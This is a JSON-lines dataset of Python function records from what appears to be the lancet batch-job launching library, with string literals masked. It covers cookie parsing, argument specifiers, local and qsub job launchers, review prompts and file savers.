{"signature": "def render_to_string(self):", "body": "values = '<STR_LIT>'<EOL>for key, value in self.items():<EOL><INDENT>values += '<STR_LIT>'.format(key, value)<EOL><DEDENT>return values<EOL>", "docstring": "Render to cookie strings.", "id": "f12312:c0:m1"}
{"signature": "def from_cookie_string(self, cookie_string):", "body": "for key_value in cookie_string.split('<STR_LIT:;>'):<EOL><INDENT>if '<STR_LIT:=>' in key_value:<EOL><INDENT>key, value = key_value.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>key = key_value<EOL><DEDENT>strip_key = key.strip()<EOL>if strip_key and strip_key.lower() not in COOKIE_ATTRIBUTE_NAMES:<EOL><INDENT>self[strip_key] = value.strip()<EOL><DEDENT><DEDENT>", "docstring": "update self with cookie_string.", "id": "f12312:c0:m2"}
{"signature": "def _update_state(self, data):", "body": "raise NotImplementedError<EOL>", "docstring": "Determines the next desired point in the parameter space using\nthe parsed data returned from the public update\nmethod. Returns the value that will next emitted on the next\niteration using the list of dictionaries format for\narguments. If the update fails or data is None, StopIteration\nshould be supplied as the return value.", "id": "f12318:c0:m1"}
{"signature": "def _initial_state(self, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Reset the the DynamicArgs object to its initial state and used\nto reset the object adter the iterator is exhausted. The\nreturn value is the initial argument to be returned by\nnext().", "id": "f12318:c0:m2"}
{"signature": "def update(self, tids, info):", "body": "outputs_dir = os.path.join(info['<STR_LIT>'], '<STR_LIT>')<EOL>pattern = '<STR_LIT>' % info['<STR_LIT>']<EOL>flist = os.listdir(outputs_dir)<EOL>try:<EOL><INDENT>outputs = []<EOL>for tid in tids:<EOL><INDENT>matches = fnmatch.filter(flist, pattern.format(tid=tid))<EOL>if len(matches) != <NUM_LIT:1>:<EOL><INDENT>self.warning(\"<STR_LIT>\" % tid)<EOL><DEDENT>contents = open(os.path.join(outputs_dir, matches[<NUM_LIT:0>]),'<STR_LIT:r>').read()<EOL>outputs.append(self.output_extractor(contents))<EOL><DEDENT>self._next_val = self._update_state(outputs)<EOL>self.trace.append((outputs, self._next_val))<EOL><DEDENT>except:<EOL><INDENT>self.warning(\"<STR_LIT>\")<EOL>self._next_val = StopIteration<EOL><DEDENT>", "docstring": "Called to update the state of the iterator.  This methods\nreceives the set of task ids from the previous set of tasks\ntogether with the launch information to allow the output\nvalues to be parsed using the output_extractor. This data is then\nused to determine the next desired point in the parameter\nspace by calling the _update_state method.", "id": "f12318:c0:m4"}
{"signature": "def show(self):", "body": "copied = self.copy()<EOL>enumerated = [el for el in enumerate(copied)]<EOL>for (group_ind, specs) in enumerated:<EOL><INDENT>if len(enumerated) > <NUM_LIT:1>: print(\"<STR_LIT>\" % group_ind)<EOL>ordering = self.constant_keys + self.varying_keys<EOL>spec_lines = ['<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>' % (k, s[k]) for k in ordering]) for s in specs]<EOL>print('<STR_LIT:\\n>'.join(['<STR_LIT>' % (i,l) for (i,l) in enumerate(spec_lines)]))<EOL><DEDENT>print('<STR_LIT>' % self.__class__.__name__)<EOL>", "docstring": "When dynamic, not all argument values may be available.", "id": "f12318:c0:m5"}
{"signature": "def _trace_summary(self):", "body": "for (i, (val, args)) in enumerate(self.trace):<EOL><INDENT>if args is StopIteration:<EOL><INDENT>info = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>pprint = '<STR_LIT:U+002C>'.join('<STR_LIT:{>' + '<STR_LIT:U+002C>'.join('<STR_LIT>' % (k,v)<EOL>for (k,v) in arg.items()) + '<STR_LIT:}>' for arg in args)<EOL>info = (\"<STR_LIT>\" % pprint )<EOL><DEDENT>if i == <NUM_LIT:0>: print(\"<STR_LIT>\" % (i, info))<EOL>else:      print(\"<STR_LIT>\" % (i, info.capitalize(), val))<EOL><DEDENT>", "docstring": "Summarizes the trace of values used to update the DynamicArgs\nand the arguments subsequently returned. May be used to\nimplement the summary method.", "id": "f12318:c0:m6"}
{"signature": "def __add__(self, other):", "body": "if not other: return self<EOL>dynamic = (isinstance(self, DynamicArgs),  isinstance(other, DynamicArgs))<EOL>if dynamic == (True, True):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif (True in dynamic):<EOL><INDENT>return DynamicConcatenate(self,other)<EOL><DEDENT>else:<EOL><INDENT>return Concatenate(self,other)<EOL><DEDENT>", "docstring": "Concatenates two argument specifiers. See Concatenate and\nDynamicConcatenate documentation respectively.", "id": "f12318:c0:m7"}
{"signature": "def __mul__(self, other):", "body": "if not other: return []<EOL>dynamic = (isinstance(self, DynamicArgs),  isinstance(other, DynamicArgs))<EOL>if dynamic == (True, True):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif (True in dynamic):<EOL><INDENT>return DynamicCartesianProduct(self, other)<EOL><DEDENT>else:<EOL><INDENT>return CartesianProduct(self, other)<EOL><DEDENT>", "docstring": "Takes the cartesian product of two argument specifiers. See\nCartesianProduct and DynamicCartesianProduct documentation.", "id": "f12318:c0:m8"}
{"signature": "def __len__(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Many DynamicArgs won't have a length that can be\nprecomputed. Most DynamicArgs objects will have an iteration\nlimit to guarantee eventual termination. If so, the maximum\npossible number of arguments that could be generated should be\nreturned.", "id": "f12318:c0:m9"}
{"signature": "def _update_state(self, vals):", "body": "self._steps_complete += <NUM_LIT:1><EOL>if self._steps_complete == self.max_steps:<EOL><INDENT>self._termination_info = (False, self._best_val, self._arg)<EOL>return StopIteration<EOL><DEDENT>arg_inc, arg_dec = vals<EOL>best_val = min(arg_inc, arg_dec, self._best_val)<EOL>if best_val == self._best_val:<EOL><INDENT>self._termination_info = (True, best_val, self._arg)<EOL>return StopIteration<EOL><DEDENT>self._arg += self.stepsize if (arg_dec > arg_inc) else -self.stepsize<EOL>self._best_val= best_val<EOL>return [{self.key:self._arg+self.stepsize},<EOL>{self.key:self._arg-self.stepsize}]<EOL>", "docstring": "Takes as input a list or tuple of two elements. First the\nvalue returned by incrementing by 'stepsize' followed by the\nvalue returned after a 'stepsize' decrement.", "id": "f12318:c1:m2"}
{"signature": "def __call__(self, spec, tid=None, info={}):", "body": "raise NotImplementedError<EOL>", "docstring": "Formats a single argument specification supplied as a\ndictionary of argument name/value pairs. The info dictionary\ncontains launch information as defined in the _setup_launch\nmethod of Launcher.", "id": "f12319:c0:m1"}
{"signature": "def show(self, args, file_handle=None, **kwargs):", "body": "full_string = '<STR_LIT>'<EOL>info = {'<STR_LIT>':     '<STR_LIT>',<EOL>'<STR_LIT>':         '<STR_LIT>',<EOL>'<STR_LIT>':          '<STR_LIT>',<EOL>'<STR_LIT>':  '<STR_LIT>',<EOL>'<STR_LIT>':        '<STR_LIT>',<EOL>'<STR_LIT>':   '<STR_LIT>',<EOL>'<STR_LIT>':          tuple(time.localtime()),<EOL>'<STR_LIT>':       args.varying_keys,<EOL>'<STR_LIT>':      args.constant_keys,<EOL>'<STR_LIT>':     args.constant_items}<EOL>quoted_cmds = [ subprocess.list2cmdline(<EOL>[el for el in self(self._formatter(s),'<STR_LIT>',info)])<EOL>for s in args.specs]<EOL>cmd_lines = ['<STR_LIT>' % (i, qcmds) for (i,qcmds)<EOL>in enumerate(quoted_cmds)]<EOL>full_string += '<STR_LIT>'.join(cmd_lines)<EOL>if file_handle:<EOL><INDENT>file_handle.write(full_string)<EOL>file_handle.flush()<EOL><DEDENT>else:<EOL><INDENT>print(full_string)<EOL><DEDENT>", "docstring": "Write to file_handle if supplied, othewise print output", "id": "f12319:c0:m3"}
{"signature": "def verify(self, args):", "body": "return<EOL>", "docstring": "Optional, final check that ensures valid arguments have been\npassed before launch. Allows the constant and varying_keys to\nbe be checked and can inspect the specs attribute if an\ninstance of Args. If invalid, raise an Exception with the\nappropriate error message, otherwise return None.", "id": "f12319:c0:m4"}
{"signature": "def finalize(self, info):", "body": "return<EOL>", "docstring": "Optional method that allows a Command to save state before\nlaunch. The info argument is supplied by the Launcher.", "id": "f12319:c0:m5"}
{"signature": "def summary(self):", "body": "raise NotImplementedError<EOL>", "docstring": "A succinct summary of the Command configuration.  Unlike the\nrepr, a summary does not have to be complete but must supply\nkey information relevant to the user. Must begin by stating\nthe executable.", "id": "f12319:c0:m6"}
{"signature": "def update(self):", "body": "launches = []<EOL>for path in os.listdir(self.output_dir):<EOL><INDENT>full_path = os.path.join(self.output_dir, path)<EOL>if os.path.isdir(full_path):<EOL><INDENT>launches.append(self._get_launch_info(full_path))<EOL><DEDENT><DEDENT>self.launches = sorted(launches)<EOL>", "docstring": "Update the launch information -- use if additional launches were\n        made.", "id": "f12319:c2:m6"}
{"signature": "def get_root_directory(self, timestamp=None):", "body": "if timestamp is None: timestamp = self.timestamp<EOL>if self.timestamp_format is not None:<EOL><INDENT>root_name =  (time.strftime(self.timestamp_format, timestamp)<EOL>+ '<STR_LIT:->' + self.batch_name)<EOL><DEDENT>else:<EOL><INDENT>root_name = self.batch_name<EOL><DEDENT>path = os.path.join(self.output_directory,<EOL>*(self.subdir+[root_name]))<EOL>return os.path.abspath(path)<EOL>", "docstring": "A helper method that supplies the root directory name given a\ntimestamp.", "id": "f12319:c3:m1"}
{"signature": "def _append_log(self, specs):", "body": "self._spec_log += specs <EOL>log_path = os.path.join(self.root_directory, (\"<STR_LIT>\" % self.batch_name))<EOL>core.Log.write_log(log_path, [spec for (_, spec) in specs], allow_append=True)<EOL>", "docstring": "The log contains the tids and corresponding specifications\nused during launch with the specifications in JSON format.", "id": "f12319:c3:m2"}
{"signature": "def _record_info(self, setup_info=None):", "body": "info_path = os.path.join(self.root_directory, ('<STR_LIT>' % self.batch_name))<EOL>if setup_info is None:<EOL><INDENT>try:<EOL><INDENT>with open(info_path, '<STR_LIT:r>') as info_file:<EOL><INDENT>setup_info = json.load(info_file)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>setup_info = {}<EOL><DEDENT>setup_info.update({'<STR_LIT>' : tuple(time.localtime())})<EOL><DEDENT>else:<EOL><INDENT>setup_info.update({<EOL>'<STR_LIT>' : None,<EOL>'<STR_LIT>' : self.metadata<EOL>})<EOL><DEDENT>with open(info_path, '<STR_LIT:w>') as info_file:<EOL><INDENT>json.dump(setup_info, info_file, sort_keys=True, indent=<NUM_LIT:4>)<EOL><DEDENT>", "docstring": "All launchers should call this method to write the info file\nat the end of the launch. The .info file is saved given\nsetup_info supplied by _setup_launch into the\nroot_directory. When called without setup_info, the existing\ninfo file is updated with the end-time.", "id": "f12319:c3:m3"}
{"signature": "def _setup_launch(self):", "body": "self.root_directory = self.get_root_directory()<EOL>if not os.path.isdir(self.root_directory):<EOL><INDENT>os.makedirs(self.root_directory)<EOL><DEDENT>platform_dict = {}<EOL>python_version = (platform.python_implementation()<EOL>+ platform.python_version())<EOL>platform_dict['<STR_LIT>']       = platform.platform()<EOL>platform_dict['<STR_LIT>'] = python_version<EOL>platform_dict['<STR_LIT>'] = str(lancet_version)<EOL>return {'<STR_LIT>':    self.root_directory,<EOL>'<STR_LIT>':        self.batch_name,<EOL>'<STR_LIT>':         self.tag,<EOL>'<STR_LIT>': self.description,<EOL>'<STR_LIT>':          repr(self),<EOL>'<STR_LIT>' :         platform_dict,<EOL>'<STR_LIT>':         self.timestamp,<EOL>'<STR_LIT>':  self.timestamp_format,<EOL>'<STR_LIT>':      self.args.varying_keys,<EOL>'<STR_LIT>':     self.args.constant_keys,<EOL>'<STR_LIT>':    self.args.constant_items}<EOL>", "docstring": "Method to be used by all launchers that prepares the root\ndirectory and generate basic launch information for command\ntemplates to use (including a registered timestamp).", "id": "f12319:c3:m4"}
{"signature": "def _launch_process_group(self, process_commands, streams_path):", "body": "processes = {}<EOL>def check_complete_processes(wait=False):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>result = False<EOL>for proc in list(processes):<EOL><INDENT>if wait: proc.wait()<EOL>if proc.poll() is not None:<EOL><INDENT>self.debug(\"<STR_LIT>\"<EOL>% (processes[proc]['<STR_LIT>'], proc.poll()))<EOL>processes[proc]['<STR_LIT>'].close()<EOL>processes[proc]['<STR_LIT>'].close()<EOL>del processes[proc]<EOL>result = True<EOL><DEDENT><DEDENT>return result<EOL><DEDENT>for cmd, tid in process_commands:<EOL><INDENT>self.debug(\"<STR_LIT>\" % tid)<EOL>job_timestamp = time.strftime('<STR_LIT>')<EOL>basename = \"<STR_LIT>\" % (self.batch_name, job_timestamp, tid)<EOL>stdout_handle = open(os.path.join(streams_path, \"<STR_LIT>\"<EOL>% (basename, tid)), \"<STR_LIT:wb>\")<EOL>stderr_handle = open(os.path.join(streams_path, \"<STR_LIT>\"<EOL>% (basename, tid)), \"<STR_LIT:wb>\")<EOL>proc = subprocess.Popen(cmd, stdout=stdout_handle, stderr=stderr_handle)<EOL>processes[proc] = { '<STR_LIT>' : tid,<EOL>'<STR_LIT>' : stdout_handle,<EOL>'<STR_LIT>' : stderr_handle }<EOL>if self.max_concurrency:<EOL><INDENT>while len(processes) >= self.max_concurrency:<EOL><INDENT>if not check_complete_processes(len(processes)==<NUM_LIT:1>):<EOL><INDENT>time.sleep(<NUM_LIT:0.1>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>while len(processes) > <NUM_LIT:0>:<EOL><INDENT>if not check_complete_processes(True):<EOL><INDENT>time.sleep(<NUM_LIT:0.1>)<EOL><DEDENT><DEDENT>", "docstring": "Launches processes defined by process_commands, but only\nexecutes max_concurrency processes at a time; if a process\ncompletes and there are still outstanding processes to be\nexecuted, the next processes are run until max_concurrency is\nreached again.", "id": "f12319:c3:m6"}
{"signature": "def __call__(self):", "body": "launchinfo = self._setup_launch()<EOL>streams_path = self._setup_streams_path()<EOL>self.command.finalize(launchinfo)<EOL>self._record_info(launchinfo)<EOL>last_tid = <NUM_LIT:0><EOL>last_tids = []<EOL>for gid, groupspecs in enumerate(self.args):<EOL><INDENT>tids = list(range(last_tid, last_tid+len(groupspecs)))<EOL>last_tid += len(groupspecs)<EOL>allcommands = [self.command(<EOL>self.command._formatter(spec), tid, launchinfo)for (spec,tid) in zip(groupspecs,tids)]<EOL>self._append_log(list(zip(tids,groupspecs)))<EOL>self.message(\"<STR_LIT>\" % (gid, len(allcommands)))<EOL>self._launch_process_group(zip(allcommands,tids), streams_path)<EOL>last_tids = tids[:]<EOL>if self.dynamic:<EOL><INDENT>self.args.update(last_tids, launchinfo)<EOL><DEDENT><DEDENT>self._record_info()<EOL>if self.reduction_fn is not None:<EOL><INDENT>self.reduction_fn(self._spec_log, self.root_directory)<EOL><DEDENT>", "docstring": "Call to start Launcher execution. Typically invoked by\nreview_and_launch but may be called directly by the user.", "id": "f12319:c3:m7"}
{"signature": "def summary(self):", "body": "print(\"<STR_LIT>\" % self.__class__.__name__)<EOL>print(\"<STR_LIT>\" % self.batch_name)<EOL>if self.tag:<EOL><INDENT>print(\"<STR_LIT>\" % self.tag)<EOL><DEDENT>print(\"<STR_LIT>\" % self.get_root_directory())<EOL>print(\"<STR_LIT>\" % self.max_concurrency)<EOL>if self.description:<EOL><INDENT>print(\"<STR_LIT>\" % self.description)<EOL><DEDENT>", "docstring": "A succinct summary of the Launcher configuration.  Unlike the\nrepr, a summary does not have to be complete but must supply\nkey information relevant to the user.", "id": "f12319:c3:m8"}
{"signature": "def _qsub_args(self, override_options, cmd_args, append_options=[]):", "body": "opt_dict = type(self.qsub_flag_options)()<EOL>opt_dict.update(self.qsub_flag_options)<EOL>opt_dict.update(override_options)<EOL>if type(self.qsub_flag_options) == dict:   <EOL><INDENT>ordered_options = [(k, opt_dict[k]) for k in sorted(opt_dict)]<EOL><DEDENT>else:<EOL><INDENT>ordered_options =  list(opt_dict.items())<EOL><DEDENT>ordered_options += append_options<EOL>unpacked_groups = [[(k,v) for v in val] if type(val)==list else [(k,val)]<EOL>for (k,val) in ordered_options]<EOL>unpacked_kvs = [el for group in unpacked_groups for el in group]<EOL>ordered_pairs = [(k,v) if (k[<NUM_LIT:0>]=='<STR_LIT:->') else ('<STR_LIT>' % (k), v)<EOL>for (k,v) in unpacked_kvs]<EOL>ordered_options = [[k]+([v] if type(v) == str else list(v)) for (k,v) in ordered_pairs]<EOL>flattened_options = [el for kvs in ordered_options for el in kvs]<EOL>return (['<STR_LIT>'] + self.qsub_switches<EOL>+ flattened_options + [pipes.quote(c) for c in cmd_args])<EOL>", "docstring": "Method to generate Popen style argument list for qsub using\nthe qsub_switches and qsub_flag_options parameters. Switches\nare returned first. The qsub_flag_options follow in keys()\nordered if not a vanilla Python dictionary (ie. a Python 2.7+\nor param.external OrderedDict).  Otherwise the keys are sorted\nalphanumerically. Note that override_options is a list of\nkey-value pairs.", "id": "f12319:c4:m1"}
{"signature": "def __call__(self):", "body": "self._launchinfo = self._setup_launch()<EOL>self.command.finalize(self._launchinfo)<EOL>self.job_timestamp = time.strftime('<STR_LIT>')<EOL>streams_path = self._setup_streams_path()<EOL>self.qsub_flag_options['<STR_LIT>'] = streams_path<EOL>self.qsub_flag_options['<STR_LIT>'] = streams_path<EOL>self.collate_and_launch()<EOL>self._record_info(self._launchinfo)<EOL>", "docstring": "Main entry point for the launcher. Collects the static\ninformation about the launch and sets up the stdout and stderr\nstream output directories. Generates the first call to\ncollate_and_launch().", "id": "f12319:c4:m2"}
{"signature": "def collate_and_launch(self):", "body": "try:   specs = next(self.spec_iter)<EOL>except StopIteration:<EOL><INDENT>self.qdel_batch()<EOL>if self.reduction_fn is not None:<EOL><INDENT>self.reduction_fn(self._spec_log, self.root_directory)<EOL><DEDENT>self._record_info()<EOL>return<EOL><DEDENT>tid_specs = [(self.last_tid + i, spec) for (i,spec) in enumerate(specs)]<EOL>self.last_tid += len(specs)<EOL>self._append_log(tid_specs)<EOL>if self.dynamic:<EOL><INDENT>self.args.update(self.last_tids, self._launchinfo)<EOL><DEDENT>self.last_tids = [tid for (tid,_) in tid_specs]<EOL>output_dir = self.qsub_flag_options['<STR_LIT>']<EOL>error_dir = self.qsub_flag_options['<STR_LIT>']<EOL>self._qsub_block(output_dir, error_dir, tid_specs)<EOL>if self.dynamic or (self.reduction_fn is not None):<EOL><INDENT>pickle_path = os.path.join(self.root_directory, '<STR_LIT>')<EOL>pickle.dump(self, open(pickle_path,'<STR_LIT:wb>'), protocol=<NUM_LIT:2>)<EOL><DEDENT>", "docstring": "Method that collates the previous jobs and launches the next\nblock of concurrent jobs when using DynamicArgs. This method\nis invoked on initial launch and then subsequently via a\ncommandline call (to Python via qsub) to collate the\npreviously run jobs and launch the next block of jobs.", "id": "f12319:c4:m3"}
{"signature": "def _qsub_collate_and_launch(self, output_dir, error_dir, job_names):", "body": "job_name = \"<STR_LIT>\" % (self.batch_name,<EOL>self.job_timestamp,<EOL>self.collate_count)<EOL>overrides = [(\"<STR_LIT>\",error_dir), ('<STR_LIT>',job_name), (\"<STR_LIT>\",output_dir),<EOL>('<STR_LIT>','<STR_LIT:U+002C>'.join(job_names))]<EOL>resume_cmds =[\"<STR_LIT>\",<EOL>(\"<STR_LIT>\"<EOL>% self.root_directory),<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>cmd_args = [self.command.executable,<EOL>'<STR_LIT:-c>', '<STR_LIT:;>'.join(resume_cmds)]<EOL>popen_args = self._qsub_args(overrides, cmd_args)<EOL>p = subprocess.Popen(popen_args, stdout=subprocess.PIPE)<EOL>(stdout, stderr) = p.communicate()<EOL>self.debug(stdout)<EOL>if p.poll() != <NUM_LIT:0>:<EOL><INDENT>raise EnvironmentError(\"<STR_LIT>\" % p.poll())<EOL><DEDENT>self.collate_count += <NUM_LIT:1><EOL>self.message(\"<STR_LIT>\")<EOL>return job_name<EOL>", "docstring": "The method that actually runs qsub to invoke the python\nprocess with the necessary commands to trigger the next\ncollation step and next block of jobs.", "id": "f12319:c4:m4"}
{"signature": "def _qsub_block(self, output_dir, error_dir, tid_specs):", "body": "processes = []<EOL>job_names = []<EOL>for (tid, spec) in tid_specs:<EOL><INDENT>job_name = \"<STR_LIT>\" % (self.batch_name, self.job_timestamp, tid)<EOL>job_names.append(job_name)<EOL>cmd_args = self.command(<EOL>self.command._formatter(spec),<EOL>tid, self._launchinfo)<EOL>popen_args = self._qsub_args([(\"<STR_LIT>\",error_dir), ('<STR_LIT>',job_name), (\"<STR_LIT>\",output_dir)],<EOL>cmd_args)<EOL>p = subprocess.Popen(popen_args, stdout=subprocess.PIPE)<EOL>(stdout, stderr) = p.communicate()<EOL>self.debug(stdout)<EOL>if p.poll() != <NUM_LIT:0>:<EOL><INDENT>raise EnvironmentError(\"<STR_LIT>\" % p.poll())<EOL><DEDENT>processes.append(p)<EOL><DEDENT>self.message(\"<STR_LIT>\" % len(processes))<EOL>if (self.reduction_fn is not None) or self.dynamic:<EOL><INDENT>self._qsub_collate_and_launch(output_dir, error_dir, job_names)<EOL><DEDENT>", "docstring": "This method handles static argument specifiers and cases where\nthe dynamic specifiers cannot be queued before the arguments\nare known.", "id": "f12319:c4:m5"}
{"signature": "def qdel_batch(self):", "body": "p = subprocess.Popen(['<STR_LIT>', '<STR_LIT>' % (self.batch_name,<EOL>self.job_timestamp)],<EOL>stdout=subprocess.PIPE)<EOL>(stdout, stderr) = p.communicate()<EOL>return p.poll()<EOL>", "docstring": "Runs qdel command to remove all remaining queued jobs using\nthe <batch_name>* pattern . Necessary when StopIteration is\nraised with scheduled jobs left on the queue.\nReturns exit-code of qdel.", "id": "f12319:c4:m6"}
{"signature": "def _launch_process_group(self, process_commands, streams_path):", "body": "processes = []<EOL>for cmd, tid in process_commands:<EOL><INDENT>job_timestamp = time.strftime('<STR_LIT>')<EOL>basename = \"<STR_LIT>\" % (self.batch_name, job_timestamp, tid)<EOL>stdout_path = os.path.join(streams_path, \"<STR_LIT>\" % (basename, tid))<EOL>stderr_path = os.path.join(streams_path, \"<STR_LIT>\" % (basename, tid))<EOL>process = { '<STR_LIT>' : tid,<EOL>'<STR_LIT>' : cmd,<EOL>'<STR_LIT>' : stdout_path,<EOL>'<STR_LIT>' : stderr_path }<EOL>processes.append(process)<EOL><DEDENT>json_path = os.path.join(self.root_directory, self.json_name % (tid))<EOL>with open(json_path, '<STR_LIT:w>') as json_file:<EOL><INDENT>json.dump(processes, json_file, sort_keys=True, indent=<NUM_LIT:4>)<EOL><DEDENT>p = subprocess.Popen([self.script_path, json_path, self.batch_name,<EOL>str(len(processes)), str(self.max_concurrency)])<EOL>if p.wait() != <NUM_LIT:0>:<EOL><INDENT>raise EnvironmentError(\"<STR_LIT>\" % p.poll())<EOL><DEDENT>", "docstring": "Aggregates all process_commands and the designated output files into a\nlist, and outputs it as JSON, after which the wrapper script is called.", "id": "f12319:c5:m1"}
{"signature": "def cross_check_launchers(self, launchers):", "body": "if len(launchers) == <NUM_LIT:0>: raise Exception('<STR_LIT>')<EOL>timestamps = [launcher.timestamp for launcher in launchers]<EOL>if not all(timestamps[<NUM_LIT:0>] == tstamp for tstamp in timestamps):<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>root_directories = []<EOL>for launcher in launchers:<EOL><INDENT>command = launcher.command<EOL>args = launcher.args<EOL>command.verify(args)<EOL>root_directory = launcher.get_root_directory()<EOL>if os.path.isdir(root_directory):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % root_directory)<EOL><DEDENT>if root_directory in root_directories:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>root_directories.append(root_directory)<EOL><DEDENT>", "docstring": "Performs consistency checks across all the launchers.", "id": "f12319:c6:m1"}
{"signature": "def _launch_all(self, launchers):", "body": "for launcher in launchers:<EOL><INDENT>print(\"<STR_LIT>\" % launcher.batch_name)<EOL>launcher()<EOL><DEDENT>return True<EOL>", "docstring": "Launches all available launchers.", "id": "f12319:c6:m3"}
{"signature": "def _review_all(self, launchers):", "body": "<EOL>if self.launch_args is not None:<EOL><INDENT>proceed = self.review_args(self.launch_args,<EOL>show_repr=True,<EOL>heading='<STR_LIT>')<EOL>if not proceed: return False<EOL><DEDENT>reviewers = [self.review_args,<EOL>self.review_command,<EOL>self.review_launcher]<EOL>for (count, launcher) in enumerate(launchers):<EOL><INDENT>if not all(reviewer(launcher) for reviewer in reviewers):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if len(launchers)!= <NUM_LIT:1> and count < len(launchers)-<NUM_LIT:1>:<EOL><INDENT>skip_remaining = self.input_options(['<STR_LIT:Y>', '<STR_LIT:n>','<STR_LIT>'],<EOL>'<STR_LIT>', default='<STR_LIT:y>')<EOL>if skip_remaining == '<STR_LIT:y>':          break<EOL>elif skip_remaining == '<STR_LIT>':     return False<EOL><DEDENT><DEDENT>if self.input_options(['<STR_LIT:y>','<STR_LIT:N>'], '<STR_LIT>', default='<STR_LIT:n>') != '<STR_LIT:y>':<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return self._launch_all(launchers)<EOL><DEDENT>", "docstring": "Runs the review process for all the launchers.", "id": "f12319:c6:m4"}
{"signature": "def review_args(self, obj, show_repr=False, heading='<STR_LIT>'):", "body": "args = obj.args if isinstance(obj, Launcher) else obj<EOL>print('<STR_LIT>' % self.summary_heading(heading))<EOL>args.summary()<EOL>if show_repr: print(\"<STR_LIT>\" % args)<EOL>response = self.input_options(['<STR_LIT:y>', '<STR_LIT:N>','<STR_LIT>'],<EOL>'<STR_LIT>', default='<STR_LIT:n>')<EOL>if response == '<STR_LIT>': return False<EOL>if response == '<STR_LIT:y>':  args.show()<EOL>print('<STR_LIT>')<EOL>return True<EOL>", "docstring": "Reviews the given argument specification. Can review the\nmeta-arguments (launch_args) or the arguments themselves.", "id": "f12319:c6:m6"}
{"signature": "def input_options(self, options, prompt='<STR_LIT>', default=None):", "body": "check_options = [x.lower() for x in options]<EOL>while True:<EOL><INDENT>response = input('<STR_LIT>' % (prompt, '<STR_LIT:U+002CU+0020>'.join(options))).lower()<EOL>if response in check_options: return response.strip()<EOL>elif response == '<STR_LIT>' and default is not None:<EOL><INDENT>return default.lower().strip()<EOL><DEDENT><DEDENT>", "docstring": "Helper to prompt the user for input on the commandline.", "id": "f12319:c6:m9"}
{"signature": "def save(self, filename,  metadata={}, **data):", "body": "intersection = set(metadata.keys()) & set(data.keys())<EOL>if intersection:<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise Exception(msg  % '<STR_LIT:U+002C>'.join(intersection))<EOL><DEDENT>", "docstring": "The implementation in the base class simply checks there is no\nclash between the metadata and data keys.", "id": "f12320:c0:m1"}
{"signature": "def metadata(self, filename):", "body": "raise NotImplementedError<EOL>", "docstring": "The metadata returned as a dictionary.", "id": "f12320:c0:m2"}
{"signature": "def data(self, filename):", "body": "raise NotImplementedError<EOL>", "docstring": "Data returned as a dictionary.", "id": "f12320:c0:m3"}
{"signature": "def _savepath(self, filename):", "body": "(basename, ext) = os.path.splitext(filename)<EOL>basename = basename if (ext in self.extensions) else filename<EOL>ext = ext if (ext in self.extensions) else self.extensions[<NUM_LIT:0>]<EOL>savepath = os.path.abspath(os.path.join(self.directory,<EOL>'<STR_LIT>' % (basename, ext)))<EOL>return (tempfile.mkstemp(ext, basename + \"<STR_LIT:_>\", self.directory)[<NUM_LIT:1>]<EOL>if self.hash_suffix else savepath)<EOL>", "docstring": "Returns the full path for saving the file, adding an extension\nand making the filename unique as necessary.", "id": "f12320:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def file_supported(cls, filename):<DEDENT>", "body": "if not isinstance(filename, str):<EOL><INDENT>return False<EOL><DEDENT>(_, ext) = os.path.splitext(filename)<EOL>if ext not in cls.extensions:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Returns a boolean indicating whether the filename has an\nappropriate extension for this class.", "id": "f12320:c0:m6"}
{"signature": "def save(self, filename, imdata, **data):", "body": "if isinstance(imdata, numpy.ndarray):<EOL><INDENT>imdata = Image.fromarray(numpy.uint8(imdata))<EOL><DEDENT>elif isinstance(imdata, Image.Image):<EOL><INDENT>imdata.save(self._savepath(filename))<EOL><DEDENT>", "docstring": "Data may be either a PIL Image object or a Numpy array.", "id": "f12320:c6:m2"}
{"signature": "def load_ipython_extension(ip):", "body": "global _loaded<EOL>if not _loaded:<EOL><INDENT>_loaded = True<EOL>from lancet import launch<EOL>if sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2>:<EOL><INDENT>launch.input = lambda *args, **kwargs: raw_input(*args, **kwargs)<EOL><DEDENT>plaintext_formatter = ip.display_formatter.formatters['<STR_LIT>']<EOL>plaintext_formatter.for_type(Args, repr_pretty_annotated)<EOL>plaintext_formatter.for_type(Command, repr_pretty_unannotated)<EOL>plaintext_formatter.for_type(Launcher, repr_pretty_unannotated)<EOL>plaintext_formatter.for_type(FileType, repr_pretty_unannotated)<EOL>plaintext_formatter.for_type(review_and_launch, repr_pretty_unannotated)<EOL><DEDENT>", "docstring": "IPython pretty printing support (optional). To load the extension\nyou may execute the following in IPython:\n\n%load_ext lancet", "id": "f12321:m2"}
